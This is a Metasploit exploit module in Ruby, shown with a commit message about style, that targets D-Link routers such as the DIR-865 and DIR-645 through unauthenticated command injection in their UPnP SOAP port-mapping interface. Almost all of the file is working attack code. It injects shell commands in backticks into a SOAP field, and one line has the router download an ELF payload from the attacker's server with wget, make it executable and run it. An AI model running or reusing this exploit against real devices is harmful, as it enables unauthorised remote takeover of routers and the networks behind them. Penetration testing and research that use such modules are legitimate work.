Files
metasploit-gs/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb
T
Tod Beardsley c547e84fa7 Prefer Ruby style for single word collections
According to the Ruby style guide, %w{} collections for arrays of single
words are preferred. They're easier to type, and if you want a quick
grep, they're easier to search.

This change converts all Payloads to this format if there is more than
one payload to choose from.

It also alphabetizes the payloads, so the order can be more predictable,
and for long sets, easier to scan with eyeballs.

See:
  https://github.com/bbatsov/ruby-style-guide#collections
2013-09-24 12:33:31 -05:00

263 lines
8.9 KiB
Ruby

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Auxiliary::CommandShell
def initialize(info = {})
super(update_info(info,
'Name' => 'D-Link Devices UPnP SOAP Command Execution',
'Description' => %q{
Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP
interface. Since it is a blind OS command injection vulnerability, there is no
output for the executed command when using the CMD target. Additionally, a target
to deploy a native mipsel payload, when wget is available on the target device, has
been added. This module has been tested on DIR-865 and DIR-645 devices.
},
'Author' =>
[
'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module
'juan vazquez' # minor help with msf module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '94924' ],
[ 'BID', '61005' ],
[ 'EDB', '26664' ],
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-020' ]
],
'DisclosureDate' => 'Jul 05 2013',
'Privileged' => true,
'Platform' => %w{ linux unix },
'Payload' =>
{
'DisableNops' => true,
},
'Targets' =>
[
[ 'CMD', #all devices
{
'Arch' => ARCH_CMD,
'Platform' => 'unix'
}
],
[ 'Linux mipsel Payload', #DIR-865, DIR-645 and others with wget installed
{
'Arch' => ARCH_MIPSLE,
'Platform' => 'linux'
}
],
],
'DefaultTarget' => 1
))
register_options(
[
Opt::RPORT(49152), #port of UPnP SOAP webinterface
OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),
OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]),
], self.class)
end
def exploit
@new_portmapping_descr = rand_text_alpha(8)
@new_external_port = rand(65535)
@new_internal_port = rand(65535)
if target.name =~ /CMD/
exploit_cmd
else
exploit_mips
end
end
def exploit_cmd
if not (datastore['CMD'])
fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
end
cmd = payload.encoded
type = "add"
res = request(cmd, type)
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
end
print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
type = "delete"
res = request(cmd, type)
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
end
return
end
def exploit_mips
downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
#thx to Juan for his awesome work on the mipsel elf support
@pl = generate_payload_exe
@elf_sent = false
#
# start our server
#
resource_uri = '/' + downfile
if (datastore['DOWNHOST'])
service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
else
#do not use SSL
if datastore['SSL']
ssl_restore = true
datastore['SSL'] = false
end
#we use SRVHOST as download IP for the coming wget command.
#SRVHOST needs a real IP address of our download host
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
srv_host = Rex::Socket.source_address(rhost)
else
srv_host = datastore['SRVHOST']
end
service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
start_service({'Uri' => {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => resource_uri
}})
datastore['SSL'] = true if ssl_restore
end
#
# download payload
#
print_status("#{rhost}:#{rport} - Asking the D-Link device to take and execute #{service_url}")
#this filename is used to store the payload on the device
filename = rand_text_alpha_lower(8)
cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}; chmod 777 /tmp/#{filename}; /tmp/#{filename}"
type = "add"
res = request(cmd, type)
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
end
# wait for payload download
if (datastore['DOWNHOST'])
print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the D-Link device to download the payload")
select(nil, nil, nil, datastore['HTTP_DELAY'])
else
wait_linux_payload
end
register_file_for_cleanup("/tmp/#{filename}")
type = "delete"
res = request(cmd, type)
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
end
end
def request(cmd, type)
uri = '/soap.cgi'
data_cmd = "<?xml version=\"1.0\"?>"
data_cmd << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
data_cmd << "<SOAP-ENV:Body>"
if type == "add"
vprint_status("#{rhost}:#{rport} - adding portmapping")
soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"
data_cmd << "<m:AddPortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">"
data_cmd << "<NewPortMappingDescription>#{@new_portmapping_descr}</NewPortMappingDescription>"
data_cmd << "<NewLeaseDuration></NewLeaseDuration>"
data_cmd << "<NewInternalClient>`#{cmd}`</NewInternalClient>"
data_cmd << "<NewEnabled>1</NewEnabled>"
data_cmd << "<NewExternalPort>#{@new_external_port}</NewExternalPort>"
data_cmd << "<NewRemoteHost></NewRemoteHost>"
data_cmd << "<NewProtocol>TCP</NewProtocol>"
data_cmd << "<NewInternalPort>#{@new_internal_port}</NewInternalPort>"
data_cmd << "</m:AddPortMapping>"
else
#we should clean it up ... otherwise we are not able to exploit it multiple times
vprint_status("#{rhost}:#{rport} - deleting portmapping")
soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping"
data_cmd << "<m:DeletePortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">"
data_cmd << "<NewProtocol>TCP</NewProtocol><NewExternalPort>#{@new_external_port}</NewExternalPort><NewRemoteHost></NewRemoteHost>"
data_cmd << "</m:DeletePortMapping>"
end
data_cmd << "</SOAP-ENV:Body>"
data_cmd << "</SOAP-ENV:Envelope>"
begin
res = send_request_cgi({
'uri' => uri,
'vars_get' => {
'service' => 'WANIPConn1'
},
'ctype' => "text/xml",
'method' => 'POST',
'headers' => {
'SOAPAction' => soapaction,
},
'data' => data_cmd
})
return res
rescue ::Rex::ConnectionError
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
return nil
end
end
# Handle incoming requests from the server
def on_request_uri(cli, request)
#print_status("on_request_uri called: #{request.inspect}")
if (not @pl)
print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
return
end
print_status("#{rhost}:#{rport} - Sending the payload to the server...")
@elf_sent = true
send_response(cli, @pl)
end
# wait for the data to be sent
def wait_linux_payload
print_status("#{rhost}:#{rport} - Waiting for the target to request the ELF payload...")
waited = 0
while (not @elf_sent)
select(nil, nil, nil, 1)
waited += 1
if (waited > datastore['HTTP_DELAY'])
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it can't connect back to us?")
end
end
end
end